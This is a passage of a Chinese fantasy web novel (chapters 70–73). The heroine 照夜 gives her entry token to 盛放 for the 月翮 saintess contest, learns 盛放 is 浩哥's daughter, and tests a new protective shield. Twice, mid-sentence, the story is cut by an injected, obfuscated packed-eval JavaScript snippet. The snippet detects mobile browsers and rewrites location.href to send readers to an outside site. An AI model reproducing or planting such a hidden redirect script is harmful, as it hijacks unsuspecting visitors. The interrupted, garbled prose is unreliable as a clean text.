我们一路尾随心事重重的盛放,沿着朝月道的石阶向上走。盛放走得极慢,每一步都像踩在心事上。 “啧,天天在我眼皮子底下,我怎么可能看不出异常。”阿烈压低声音,语气里带着莫名的酸味,“我可都盯着呢!” “你是不是太闲了?他俩关系好,关你什么事。” “大姐头,那粥铺可是叫‘浩烈特色粥’!”阿烈愤愤不平,“凭什么把我排除在外!” 我正暗自吐槽自己为何要参与这种无聊事,手指却不自觉摸到包里的月信石挂坠,因心情复杂,连带着手心都微微出了汗。 “看!他们果然有事瞒着我!”阿烈拍拍我的肩,指向树下呆坐的盛放,“当初这丫头讲义气,四万就把参赛凭证卖了,哭得那么惨。现在好不容易有钱了,却在这儿磨蹭!报名都快截止了!” 我实在忍无可忍,径直从藏身处走出去。阿烈倒吸一口凉气想拦我,却也知道时间紧迫,再没法拖沓犹豫了。 盛放被我结实的身影挡去阳光,有些诧异地抬起脸来。对上我和阿烈的视线,她的惊恐再无处遁形。 “怎么不去把信物赎回来。” “……赎不回来了。”盛放咬咬嘴唇,偷瞄了一眼即将收摊的报名处,眼圈发红,“我偷偷问过了,赎回来要二十万利衡币。” 我像是被人给了一闷棍,“阿?我的妈呀,这天翮城怎么处处是奸商,防不胜防!” 这下我和阿烈终于恍然大悟,也尝到了深深的挫败感。敢情前前后后忙得脚不沾地,到头来钱没了,信物也没了。 来天翮城这趟,真是被好好剐了一层肉。 “等不戒严了,咱们还是赶紧离开吧!”便是阿烈这种在灰色地带摸爬滚打过的人,也被天翮城这帮子吸血奸商给吓到了,“这地儿太可怕了,吃人不吐骨头。” 盛放耷拉着肩膀,半晌才强打精神,恢复了大大咧咧的狂徒样儿,“哎呀,以后还有机会!放心,我的承诺依旧作数!等我当上圣女,一定让你们享尽荣华富贵!” 我艰难地咽了口口水,暼向准备收摊的信女们,汗湿的手终于还是做出了选择。 “盛放,浩哥这钱是冒着被砍手的风险赢来的。要是知道你参加不了大赛,他该多难过?”我把月信石放在盛放手心,用力按了按,“说到底,你们都是为了我青莲山的大师姐才落得这个地步,我心里过意不去。” 盛放瞪大眼睛,难以置信地望着我,“你……你没去报名?” 我摇摇头,看着眼泪即将夺眶而出的盛放,笑道,“去吧,去报名参赛,咱浩烈特色粥铺哪怕倾家荡产,也一定会全力支持你胜出!” 阿烈无奈摇摇头,推了盛放一把,“虽然已经倾家荡产了,但只要还剩下一个字儿,也会支持咱们的圣女到最后一刻!” 嘴唇剧烈颤抖着,盛放抹抹眼泪,深深看了我和阿烈一眼,转身向那正在收摊的报名处狂奔而去。 71. 第 71 章 就在我打算跟上去看看报名情况时,身后突然撞上来一个和我体型不相上下的身影,差点把我撞个踉跄。 只见那个圆滚滚的姑娘长发飞扬,脚步却意外轻快,一边挥舞着手臂一边用我熟悉的嗓音喊着,“让让,快让让!我要报名——我要参赛——” 紧接着,一位须发皆白的老头气喘吁吁地追上来,“慢点儿,慢点儿!等等谷阿翁我——” 任我想破脑袋也想不到,会在这个时间、这个地点,遇见这个曾经坑过我好几回的“老熟人”。当然,随着我遇到的骗子越来越多,他那点手段和心眼儿根本不够看了。 “谷、谷阿翁?” 老头猛地刹住脚步,喘着粗气回头看我,表情从茫然到困惑,最后竟变成了惊恐。 “我的天!你是……照夜?!” 谷阿翁把我从头到脚打量了好几遍,终于确认我就是本尊。结果他摇头说出的第一句话竟是,“哎呀呀,这下我可不敢保证魔皇陛下还会不会喜欢你了……这变化也太大了,照夜!” “讨厌,谁要他喜欢,哼!”我不满地反驳,“小青喜欢我就好!” “哈哈,多个人喜欢不好吗?说不定魔皇陛下看上的也是你的心灵美呢。” 眼看话题要拐到钩星身上,我赶紧打断谷阿翁,指着那个和盛放一起挤在报名处前、与我胖得不相上下的姑娘,问道,“那是谁?这么积极报名参赛?” “你认识的呀。”谷阿翁尴尬地笑笑,“那可是魔界第一美人儿——当然,现在是第一胖美人儿,环琛。” 缘分这东西,果然妙不可言。 谁能想到,在月翮圣女选拔报名的最后一天,会发生这么多令人匪夷所思的事。 阳光正好,浩哥无奈地在粥铺门口挂上“打烊”的牌子,转身面对我们这群成分复杂到离谱的“人”与“魔”。 大家先是互相介绍一番,算是快速以我为中,两拨几乎没有交集的团伙进行了嵌入式了解。 尤其曾有过一点小过节的环琛和浩哥,借着这个机会将过去那点小龃龉彻底抛之脑后,握手言和了。 环琛在映山都看到天翮城选拔圣女的告示,便缠着见多识广的谷阿翁带她来见世面。为了安全起见,两人选择跟着商队穿越死人沟,“偷渡”进城——毕竟眼下天翮城被仙军严管,正常渠道根本进不来。 至于原本婀娜多姿的环琛为何变成现在这样,谷阿翁缓缓道出的理由荒唐得让人怀疑是现编的:这姑娘为了逃避兄长们逼婚逼孕,故意把自己吃成这副模样。环琛天真地以为吃胖了,原本就对自己没兴趣的钩星就更不会多看自己一眼,好让哥哥们彻底死心。 环琛气鼓鼓地说,“照夜,你来评评理。钩星哥哥忙着修炼,哪有空生娃?再说他那么喜欢你,我怎么可能夺人所爱嘛!” 环琛的眉眼仿佛只是被强行安装在了略大了一号的脸盘之上,依旧精致漂亮得不像话,哪怕现在鼓着腮帮子故作生气,也依旧漂亮。 我愤愤不平地插话,“要我说,你哥哥们这么想要魔皇的力量,自己去勾引钩星不就行了?钩星又没说过不喜欢男人!” 谷阿翁一听这话,赶紧打圆场,“差不多得了照夜,虽然知道你只是护短,但……这话可不能乱传,魔皇陛下他喜欢女人。” “喂,今天虽然交了朋友,但比赛时我可不会手下留情。”盛放神情严肃地注视着自己的劲敌,“月翮圣女的位置,我一定要拿下!” “我也不会输给你。”环琛毫不示弱,“只要当上圣女,哥哥们就再也不能逼我嫁人了!” 两位圣女候选人之间的气氛瞬间剑拔弩张,仿佛下一秒就要当场决出胜负。 “话虽这么说,”盛放忽然话锋一转,握住环琛的手,露出狡黠的笑容,“初赛时我们还是好好合作,先把其他选手一网打尽。我送你们去客栈吧,这地方我熟。” 目送盛放带着环琛和谷阿翁离开,我长长叹了口气。阿烈见闲杂人等都走了,立刻向浩哥摊牌。 “什么?你们半夜不睡觉跟踪我?” 阿烈捶胸顿足道,“阿浩!你忘了丽娘当年为什么离开你吗?你居然重操旧业!” 浩哥顿时蔫了下来,缩着肩膀连连叹气,“正是因为丽娘,我才不得已……唉,是我没用。” 我听得一头雾水,“你千方百计帮盛放,怎么会是为了丽娘?” 见瞒不住了,浩哥终于道出个惊天大秘密,“盛放她……是我女儿。” 最先在我耳畔发出尖叫的竟然是这会儿刚醒的尾巴,他因过于震惊,抽成了长长一条,像根油条。 “……浩哥,丽娘离开才八年。”阿烈张大了嘴,喃喃道,“等等,如果当时丽娘刚好怀孕,也不是不可能……” 我大吃一惊,“可盛放——总不可能才七岁吧!” 浩哥却斩钉截铁地点头,“没错,盛放今年正好七岁十个月。” 接下来,浩哥出示了盛放是他女儿的关键性证据。我和阿烈来到厨房,只见一把几乎卷刃的菜刀搁在案板上,竟与阿烈之前珍藏的那把相差无几。 阿烈拿起刀仔细端详,低声道,“刀柄上刻着''浩''字,是当年你和丽娘的定情信物。” 尾巴好奇地凑过去看了一眼,又跳回我头顶,“真是一出精彩的伦理大戏。唉,人与人的缘分真是奇妙。” 是啊,谁会想到,父女二人竟然是以这样的方式相聚了。 “大姐头,阿烈,求你们件事儿,”浩哥恳切地说,“暂时别告诉盛放真相。” 阿烈欲言又止,似乎明白浩哥的苦衷,只是重重拍了拍他的背,长叹一声。 月亮爬升到夜幕中时,不到八岁的法外狂徒盛放兴高采烈回来了,路上,她特地买了酒和下酒菜,说是要提前犒劳祝她当选成功的三位大功臣。 于是浩哥和阿烈便在小小的粥铺里喝得酩酊大醉,而我,只是坐在月下,想着那个此刻或许也在仰望同一轮明月的男人。 穆青,他会想我么,不知他的计划,进行得可还顺利? 自在归德消灭无相孽的核心后,我已有很长一段时间没有来到这如梦似幻的画幕中,遥望那正簌簌落下如飞羽般花儿的月羽木了。 擎着月亮的大树,隐隐发出银色的光辉,默然守望着地上的生灵,看着他们生离死别,看着他们痛哭欢笑。它仿佛只是时间轴上的一座标尺,记录着每一段衰落、破土、生长,以及——盛放。 “许久不见了,照夜。” 我回头望向那依旧一袭青衣的少年,他眼中荡漾着狡黠明耀的光。 好似头顶这硕大的月亮。 “你最近见过小青么?” “不曾。”煌木在我身旁翩然落座,声音轻柔,“说实话,想在此处见到除我自身之外的身影,很难。我所在的位置……太深了。” “我很想小青,可现在又不能抛下一切去找他。如果你见到他,替我带句话可好?” 煌木莞尔,竟眨眨眼,向我摊开手,“好呀,请付好处费。” “咦,小气。”我赶忙凑到少年耳边,悄悄问道,“你统治仙界四百年一定攒了不少宝贝,嘿嘿,藏在哪里的?告诉我呗,我有空也去挖一点。” “这个嘛……”少年故作沉思,“就在青莲山啊。那些宝贝,你不是早已翻看过无数遍了吗,照夜?” 我愣住了,“那些书……就是你的宝贝?” “大部分是,包括青莲从典藏司顺走的一些孤本。”煌木歪着脑袋回想一番,嘴角带着笑意,“典藏司那些仙吏平时里爱偷懒,大概是工作太过枯燥,比起看管书库,他们更愿意在角落里打打牌,赌两把。” “哎,我还说你有宝贝我能去淘一点,最近手头有些紧张。” “哦。为何紧张?” 真是无语,我也不知出于什么原因,竟然向煌木这个身份半真半假、半实半虚的少年倾诉了最近惨遭诈骗团伙套路、被大奸商钱太多坑骗的始末。 少年听罢陷入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549537|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉思,半晌才抬眼问道,“青莲可叮嘱过你,别轻易展露自己的能力?” “嗯,小青不叫我随意露出尾巴,说是很多人觊觎。” 煌木凝视着我的双眼,难得神色肃穆,“那些心怀不轨之徒,或许会将你禁锢在法器之上,把你变成纯粹又好用的仙力采集存储器。” “……你所言……有些吓人。” “罢了,起码眼下没人能伤你分毫。” 少年眉宇间掠过一抹阴翳,就此沉默下去。这寂静持续了太久,久到我几乎又要枕着他的膝头沉入梦乡,他才轻声开口,“照夜,这或许是命中注定。去走你该走的路吧。但切记——要竭尽全力,消灭膣藟。” 每次从那样的梦境中醒来,我总忍不住懊恼。我明明有无数问题想问虚境中的少年,却总在开口前退缩。或许是我习惯性地逃避——既怕他不给我答案,更怕他给我一个可怕又真实的答案。 他究竟是煌木,还是那位,只存在于故事里的——太初僊。 “照夜,照夜!” 拍开身旁晃动的手,我将飘远的思绪拽回现实,看向面前这一老一少。 “你刚才说什么?我走神了,没听见……” 谷阿翁一脸无奈。眼前两个姑娘,一个正忙着吃候选集训前的最后一餐,腮帮子塞得鼓鼓囊囊;另一个无精打采地发着呆,耳朵仿佛都主动耷拉了下来。 “唉,我说我是为修死人沟隧道的事来的。魔皇陛下闭关不便打扰,就由原途大人主持。原途是环琛的大哥,上次你来魔界时他正好在天翮城,不凑巧没见到。” “你一天天也太忙了。先前统计调查人口,现在又来勾兑修什么隧道之事。” 谷阿翁闻言颇有些尴尬,“哎呀,就不提人口普查这事儿了,到处混点钱呗,嘿嘿。” 看样子谷阿翁并不清楚舒仲当初在仙界催促下统计人口的用意——那不是统计人口,而是在划定战场,计算可供应仙力的耗材,仅此而已。 “然后呢,修隧道干嘛?” “自然是为了打通连接魔界的通道。思来想去,除了刃柱城,就数死人沟最合适。”谷阿翁边说边摊开地图,认真讲解起来。 死人沟,名副其实,是道深不见底的幽暗裂谷,其中盘踞着无数凶戾妖兽。自魔界结界消散后,这些妖兽便疯狂繁衍,让这条路愈发凶险。但也正因如此,不少实力不俗的商队专营起护送渡沟的生意——横竖天翮城向来欢迎各族定居,一来此城信奉“月辉所照,皆为同族”,二来还能收取不菲的安家税,何乐而不为? 天翮城因此日益繁盛,听说月泉司的库银堆积成山,光芒足以晃瞎人眼。 可惜,这块肥肉如今已是仙界的地盘。 半年前,主持映山都事务的原途向宏音提议,死人沟的架空隧道还是要修。虽不能直通天翮城,但总好过没有。然而聆月使宏音深受仙界施压,莫说修隧道,连他这城主之位都岌岌可危。 “除非这次能选出新的月翮圣女。”谷阿翁说得口干舌燥,端起茶杯抿了一口,“这下明白了吧?” “可就算选出圣女,天翮城不还是仙界的地盘?” “照夜啊,你还是太年轻。”谷阿翁摇摇头,瞥了眼吃得正香的环琛,叹道,“仙帝初登帝位,若立刻将天翮城收归直管,岂不让三界疑心人界割让三城是迫于他的淫威,而非表面那句‘因玉山南三城难以教化,特请仙君代管’这个表面缘由?” 听到这里,我恍然大悟,一拍大腿,“我懂了!渊寂这老狐狸,明明行的是不义之举,却偏要维持他那仁怀慈悲的良好形象!” “正是。何况他登基大典上还出了那档子事……虽及时压下,终究有损威严……” “谷阿翁,你可知道,那渊寂就是当年的柑洱先生!” 谷阿翁晃着茶盅,幽幽道,“陛下其实早有察觉。只是此人在映山都教书时确实安分守己,还提过不少对魔界有益的建议,说来也怪……莫非是觉得在仙界太过无趣?” 72. 第 72 章 我轻叹一声,心里说不出的烦闷。大事小事纠缠不清,认识的不认识的人都搅在一起,光是想想就让人头疼。 好在牡狸已无大碍,总算去了我心头最大一块石头。 另一件烦心事是如今天翮城戒严,我暂时无法返回月下州。先前情急之下我在星允等人面前显露了尾巴的能力,已不宜进一步暴露自身,免得引来豺狼虎豹环伺觊觎。 也就是说,眼下我被困在了天翮城。 算了,既来之即安之,太师既敢派枝荣来杀我,想必视我为心腹大患,此刻回人界恐怕只会遭到通缉围剿。 随后,我又从谷阿翁这个无所不知的老头嘴里,得知了有关新任人君舒尚的事儿。 这真是个狠人呐,他杀了自己的亲儿子,夺过了皇位,还重整了黑羽军。这段时期,各城还在排查损毁怪物的卵壳,搞得人心惶惶。 最后谷阿翁下结论:这舒尚呐,是个暴君。 我听罢,心中并没有太多震荡,仿佛这也不算什么稀奇事。 人界呐,只不过又迎来了一位暴君罢了。 这天下午,我、阿烈还有浩哥送盛放去参加月翮圣女选拔大赛集训。她们将被关在月教院里,由信女负责培训。 怪不得彤宝姑姑之前如此卖力推销这活动,想来也不完全是为了套路我:因今年参加选拔大赛的只有十人。 “往年至少都有上千人参赛,这次怎么……”阿烈摇头叹息,“看来已经没人相信这个圣女选拔了。” 来送环琛的谷阿翁连忙制止阿烈继续说下去,并谨慎地瞧了眼四周,“别乱讲话,虽然这天翮城设了禁仙锥,百目的法眼也许不在,但……探子可不少。” 我暼向开赛仪式上的嘉宾坐席,星允大喇喇坐在上首,一派狂傲姿态,他一旁的宏音则显得端肃许多,仍旧一副生人勿近的模样。 我有些心虚地躲避着宏音投来的目光,往谷阿翁身后躲了躲。 “怎么了照夜?有仇家?” 趁那一头月终依次介绍参赛者,我小声将最近的遭遇告诉了谷阿翁。 谷阿翁先是一惊,随即义愤填膺地拉住我,“岂有此理!竟敢骗到你头上!参赛全凭自愿,那信物又不记名,既然他们还给你了,那就是你的!你想给谁就给谁!别怕,这世上只有魔皇陛下能敲诈你……呃,能请你帮忙。”他讪笑两声,正色道,“其他人,休想欺负照夜!” “讨厌,你还好意思说。” 谷阿翁望着台上高矮胖瘦各不相同的参赛者,压低声音道,“说来奇怪,今年这情形实在反常,人数少得离谱。我记得月教司发放的信物少说也有五千之数,绝不可能只有这么几个人报名。” “五千??”我惊得瞪大眼睛。 一直沉默的浩哥忽然开口,“前些日子我在赌场……咳,在外走动时,听到件蹊跷事。” “别卖关子!不过你出去玩居然不叫我!”阿烈黑着脸,不满地瞪了浩哥一眼。 浩哥尴尬地挠挠头,小声岔开话题,“听说有人在暗中高价收购参赛信物。多数人自知选不上,索性就把信物卖了。” 我们正低声议论着,台上突然爆发出一阵哄笑。 只见一个身材臃肿、活像尊发福弥勒佛的男人,正对着发表参赛宣言的环琛发出嘘声,“哟,这圣女选拔赛越办越离谱了,这大胖妞哪儿来的,这样也能当圣女?那岂不是我也行咯?” 台下顿时笑声四起。瞬间,环琛脸涨得通红,尽管努力收腹,那小肚子却依然无处可藏。 “就是!就算没人参赛,也不必找这种货色凑数啊!”又有人跟着起哄。 “这些人太无礼了!” 浩哥慌忙拉住要上前理论的谷阿翁,低声道,“别去,老头!这人咱们惹不起——他是天翮城最有权势的月兔三十六金窟的债主,钱太多钱大爷!” 我大吃一惊,踮着脚望去。只见这钱爷肥头大耳、一脸油光,穿着一件用料极其考究的墨蓝色天翮族传统长袍,但这件本该显露出尘气质的长袍,却被他用金线从头到尾、密密麻麻地绣满了月亮和元宝的图案,在阳光下走动时,金光乱闪,晃得人眼晕。 “喂,胖瘦关你什么事!”盛放突然跳出来,叉着腰直指钱大爷,“不服气你也上来比试比试!” “嘿,你个臭丫头!”钱大爷撸起袖子就要发作。 这下浩哥可沉不住气了,眼看着就要奔上前去,却见一个更高大强壮的身影挡在了面前。 正是大铁棘。 “人家姑娘不过是丰满了些,瞧那张脸依旧美若天仙,轮得到你这只大□□在这指手画脚?再说了,谁规定圣女非得是窈窕淑女?” “就是!”一个阴阳怪气的声音接话,“钱大爷若不服也想上台一较高下,不如现在此刻也报个名,指不定大受欢迎,名列前位,不过嘛——圣女圣女,好歹不能是男的,你得把那玩意儿割了。桃夭医馆可是能提供全方位切割护理服务哦,打五折。” 一听这伶牙俐齿的腔调,就知道是桃夭手下那个鲛人——无悔。 观众席顿时爆发出震天的哄笑。但很快,全场又安静下来。只见宏音抬了抬手,面无表情地对月终吩咐:继续。 这场骚动就这样戛然而止。嘉宾席上的星允始终好整以暇地观望,那冷傲霸道的目光让人浑身不适。 这场令人啼笑皆非的开赛仪式,在闹哄哄中开始,又在闹哄哄中结束,简直莫名其妙。 明明是这般庄重的大事,为何处处透着敷衍潦草? 我刚到天翮城不久,自然还不明白——眼前这一切,本就不是书中所描绘的那般神圣。 回粥铺的路上,阿烈边走边向我解释了起来。这圣女选拔,早就成了天翮城最热闹的游艺盛会。四面八方的人都赶来看热闹,商人们争着给选手冠名赞助,组织拉拉队。更离谱的是,除了官方的排行榜,民间还开了''外盘''供人下注赌博。 我不得不承认自己见识浅薄——万万没想到,天翮族的圣女竟是以这种方式选出来的。 思绪飘飞间,我抬头望向翮山最高处。原本矗立着月羽木的地方,如今变得空空如也,再也没有一座桥梁,可以伸向月亮了。 又或者真应了无悔所言,信不信仰月亮,对天翮族来说,已经不重要了。 不知为何,我心中漫过一丝忧伤,为棠梨,为舒仲,为舒岸,为玉山死去的,那三千多个战士。 原本我想留在粥铺帮忙,但两位叔叔坚决不让我干粗活,只说让我自己出去玩就好。照他们的理论,承受经济压力这种事,就交给长辈吧。 也罢,那我就去发发传单吧。 接下来的日子并不平静。广场上竖起了一座不小的云雾屏,全天滚动播放十位参赛者在月教院受训的画面。每天都有不少人驻足围观,小贩们甚至租下场地摆起茶摊。各类冠名商品更是琳琅满目,让人大开眼界。 屏幕下方,象征人气的十潭圣水中,已有一池隐隐发光——这代表着某位参赛者的人气正遥遥领先。 这些天,尾巴睡得昏天暗地,好不容易醒了,便趴在我头上打量起那泛着光的小水池,"是若鱼啦。这种鱼最爱吃闪光稻的果实,每吃一颗,鳞片就会亮起一片,光亮能持续数年。用来计数倒是很方便。" "真神奇!我们也去买些来喂环琛和盛放池里的鱼吧。" 尾巴打着哈欠,拽着我的辫子荡来荡去,语气带着埋怨,"我好几天不在,你都没说想我。" "哎呀,我们都相处这么久了。我知道你在忙嘛——虽然也没忙出什么成果。"我低头看看自己圆滚滚的身材,叹了口气,"我不会永远都这么胖了吧!臭尾巴!" "嘿嘿。"尾巴呲溜一下滑到我耳边,亲昵地贴着我的脖颈,"我最近可是练成了新本事,哪天咱们去试试成效!” 贩卖闪光稻的是月泉司,标价五十利衡币一颗。在天翮城投资或置产的人可以凭金额兑换,每五千利衡币换一颗。每到月沐仪日还会随机发放一万颗,先到先得。 囊中羞涩的我只买得起十颗。但见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549538|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人一掷千金,出手就是上万颗,心里竟也起了攀比的念头。 尾巴连忙揪住我耳朵,“笨蛋,别中人家的消费陷阱!” 更绝的是,连高利贷都在旁边支了个摊子放贷。 真不敢想象,这里已经是仙界了。 回头分别给环琛和盛放投了“票”,我被尾巴央求着去找个仙人试试他新琢磨的绝招。 想来想去,似乎只有大铁棘符合条件,我便决定去桃夭医馆打听这位冒牌醉侠的下落。 谁知无悔毫不客气地把我堵在门外,劈头盖脸骂我是骗子,话里话外还嘲笑宏音居然没能搞定我,自己笑得前仰后合。 尾巴也跟着大笑,“哈哈哈,好像是这么回事,照夜你啥也没付出,就得到了神医的帮助。” 我不服气地哼了一声,“咱们走,这帮诈骗犯,还好意思说我是骗子,哼!” “喂,照夜。”见我转头要下楼,无悔拉住我的胳膊,仔细打量我一番,压低声音,“看在你是个不太笨的笨蛋份上,给你个友善提醒——千万别相信渊寂的任何话,哪怕那是真话。” 话音未落,尾巴立刻蹦到我头顶,像炸了毛般举着小拳头怒视无悔,连我都感到胸口一阵发热。 “可恶的臭小子!''笨蛋''是我对照夜的专属称呼!啊啊啊气死我了!” 真是服了,尾巴最近也不知怎么了,竟“啪嗒”一声跳到无悔脸上,左右开弓试图给对方两下。 无悔本就是修仙之人,自然知道尾巴其实是一团聚而不散的仙力。他疑惑地将这黏黏的东西扯下来揉了两下,嘟囔道,“啧,管管好你的宠物,狗在宏音家天天闯祸不说,这团东西——噫,粘手,起码揣好,怪膈应的。” 我连忙把尾巴夺过来藏在衣服里,逃也似的跑了。 “……控制点,你最近脾气这么大,是不是更年期了尾巴。” “……有点焦躁,有点想念……月羽花的味道,一想起来就浑身不对劲。” “啊?这玩意儿还会上瘾么?” 尾巴从我胸前的深沟里探出个脑袋,好似露出个委屈巴巴的表情,“照夜,不舒服,我想要月羽花。” “……好吧好吧,你忍忍,现在也不可能去请宏音施舍点给你用,咱们一会儿去集市上打听打听,虽然月羽木早就没了,但可能还有花干售卖。” “哇哇哇,天下最好的照夜!” 要找大铁棘倒是不难。毕竟他成天行侠仗义,自然不可能窝在家里睡大家,只要在城里转悠转悠,总能碰到。 这不,约莫过了一周,终于迎来了圣女候选者人气票首次放榜。偌大的广场被人群挤得水泄不通,远远望去黑压压一片,看得人头皮发麻。 经过信女们仔细清点若鱼亮起的鳞片,第一轮排名终于揭晓。 毫不意外,环琛和盛放包揽了倒数第一和第二名,而且与前一名差距悬殊——鳞片数竟然相差一万多枚。 而高居榜首的绛霞,鳞片数竟高达五十万枚,用“一骑绝尘”来形容都显得勉强。 五十万枚!按五十利衡币一枚计算,她的身价已经达到两千五百万利衡币。 乖乖,我照夜活了五十多年,从没听过、见过、想象过这么大一笔钱。 我忧心忡忡地叹气,“这下糟了,计划要落空。照这个趋势,盛放怎么可能胜出?” 不知何时来到我身旁的大铁棘长叹一声,接话道,“啧,聆月使失算了,他低估了你的心计。原本计划你若乖乖参赛,月泉司就会用那些人购买闪光稻的钱暗中给你打榜,确保你的票数始终不会落后于绛霞仙人。” 最让我震惊的倒不是这帮诈骗犯的“计谋”,而是那位高居榜首的绛霞竟然是——仙人? 我连忙跟着大铁棘挤出人群,向他打听这位陌生女仙的来历。 绛霞仙人,金珠阵列第二席。自从原渊寂座下五弟子在归德之战中被无相孽吞噬变异而亡后,就由她补上了这个位置。 此人有两个显著特征,第一是美,第二是强。 73. 第 73 章 大铁棘顺便掰着指头给我细数了渊寂的七位弟子,星允、溟牙、云啼、幻鹊、绛霞、碎蝶、飞逍,无一不是战力出众的仙人。即便其中几位尚未进入上仙阵列,其仙力也不容小觑。 更不用说渊寂还掌控着十身、百目、千手三鸿珠仙人——我们根本就不是他的对手。 “你找我有事?” “大侠,想请你帮个忙。” “好说!不过日后我单挑星允时,你也得来助阵。” “……那还能叫‘单挑’吗?二打一,会不会胜之不武?” 大铁棘捏紧拳头,咬牙切齿,“那狗东西把我阿姐伤成那样,我非剥了他的皮不可!对付这种败类,二打一算是为民除害,大侠不在乎这个。” “好吧好吧,我届时一定到场!” 大铁棘不管那些巡逻的仙卫,二话不说带着我翻墙而出,来到天翮城东郊外的一片开阔地带。 “你确定吗,照夜?”大铁棘扛着他那标志性的硕大酒葫芦,脸上带着几分迟疑,“我这‘醉仙酒’一旦出手,可就不容易收场了。” 我连忙握紧尾巴,心里也有些打鼓,“试试吧。听说我学了新本事,可我自己还没亲眼见过……” “好嘞,爽快!那你可小心了!” 大铁棘不再多言,仰头“咕咚咕咚”豪饮数口。磅礴的仙力在他喉间涌动,随着他向前踏出一步,胸膛鼓起,张口喷出一道琥珀色的酒液—— “轰——!” 酒香四溢的洪流迎面扑来。那酒浪在半空中迅速汽化,浓烈的酒精瞬间弥漫在四周的每一寸空气里。 我用力嗅了嗅——好家伙,真是醉仙酒。这要是穆青在这儿,怕是早就醉得找不着北了。 还没等我多想,大铁棘指尖一弹,一点火星跃入空中。 “嘭——!” 如同点燃了无形的火药桶。最先接触火星的酒液瞬间化作幽蓝色的火舌,一口将我吞没。而这,仅仅是个开始。 “嘭!嘭!嘭——!” 饱含酒精的空气成了最佳的爆炸媒介。第一波火焰如同引信,瞬间点燃了四周所有的可燃气体。接二连三的爆炸以我为中心疯狂爆发,灼热的气浪裹挟着毁灭性的力量向内挤压、撕扯。冲天火光将我的视野完全染成一片摇曳的蓝红色。 我吓得抱头蹲下,几乎要哭出来。就在以为自己要被烤成肉干时—— 毫无征兆地,一层暗红色的晶莹晶盾如活物般瞬间展开!它完美贴合我的身形,取代了往常尾巴支棱起的屏障,形成一个椭圆形的茧。 那足以熔金蚀石的幽蓝火焰与连环爆炸,狠狠撞在这看似单薄的晶盾上,却如狂涛拍击亘古礁石—— 无声无息。 没有巨响,没有震动。 火焰、冲击波、乃至空气中肆虐的仙力,在触及晶盾的刹那,竟如泥牛入海,被彻底吞噬吸收。晶盾表面连一丝涟漪都未泛起,只有那暗红色的光华在火光映照下流转得愈发深邃、诡异。 我惊愕地站起身,将尾巴抓出来,问道,“这就是你的新本事?”。 “哼哼,没错。”尾巴得意地扭了扭,“我吸收了舒岸的仙力,但没有同化他。厉害吧?以前用仙力凝成屏障挨打时会有一丢丢疼,现在有了这自行结成的晶盾,再也不痛啦!” 何止不痛,甚至连热度都感觉不到几分。 很快,爆炸余波散尽,火焰熄灭,只留下满地焦黑和空气中残留的焦糊酒气。 晶盾如同它出现时一样突兀,悄无声息地收缩,重新隐没回我体内,仿佛什么都没发生过。 不知为何,我此刻有些想哭。 “所以说,舒岸最后的意志,化作了对你的保护,对不对尾巴?” “呃……这么说来,我在你身体里,保护你就是保护我,倒也没差。”尾巴的声音忽然柔软下来,“别哭别哭嘛。你想想,舒岸虽然死了,但他的力量并没有消失,他永远留在了你的仙丹里。” 我擦掉眼泪,破涕为笑,捧着尾巴蹭了蹭湿润的脸颊,“虽然有点奇怪……但,这样也很好。那我们永远都不要同化他,好不好?” “好好好,我都听你的,别哭,笨蛋。” 此时,呆若木鸡的大铁棘挠着脑袋缓缓走近,难以置信地将我上下打量,“你竟有这等本事!起初我还不信未生的话——看你这样也不像能从归德之战全身而退的主,现在倒是信了几分。” “多谢你帮忙啦。” 有些丧气地瞅瞅自己空空如也的酒葫芦,大铁棘缓缓走近,摇摇头,“哎呀妈呀,亏大了亏大了,亏了酒,亏了仙力,得赶紧找地方修炼补回来。我得先走一步!” 说罢大铁棘头也不回地钻入密林,转眼不见了踪影。 远处已传来仙军搜寻的动静,我便急忙撤离,直跑到双腿发软才在溪边停下,撑着膝盖直喘气。 尾巴跳进溪水哗啦洗了个澡,懒洋洋道,“看来这附近的禁仙锥等级不高,聊胜于无,不过是装装样子。” “唉,真愁人。现在也不能抛下环琛和盛放一走了之,那也太不讲义气了。尤其是盛放,虽然才八岁,可心地特别好。” 尾巴突然一愣,拽着我衣角把我拖进浅水区,非要给我洗去满身酒气,“你傻呀!那丫头怎么看都不可能是八岁!” “可浩哥说那是他亲女儿,最多八岁没错啊。” “……啧,笨得我没法吐槽了。也不一定非得是亲生的嘛!” 也对,盛放很可能是丽娘收养的孩子,啧,我怎么没想到这一层。 联想到这丫头平日里的言行举止,我总觉得她身上藏着的故事,并不简单。 我这几天在城里闷坏了,今天并不想回去,索性决定在野外露宿。暮色渐浓时,我和尾巴找到一处山洞躲避尘雨。见洞口篝火还留着余温,我们便添了些柴重新生火。 刚坐稳,洞外就传来了脚步声。我定睛一看,竟是谷阿翁。 “诶……照夜?你怎么跑这儿来了?”谷阿翁先是诧异,随即恍然大悟般压低声音,“天呐,那些仙军该不会是来抓你的吧?” “……算是吧,我不小心搞了点小破坏……” “啧,还以为是发现了我们的行踪,害我们白躲了半天。” 我循声望去,说话的是个生面孔的魔族男人,头顶一对威风凛凛的麒麟角。 “忘了介绍,照夜,这位是游山,就是他带我们穿过死人沟的,他可是资深向导。” 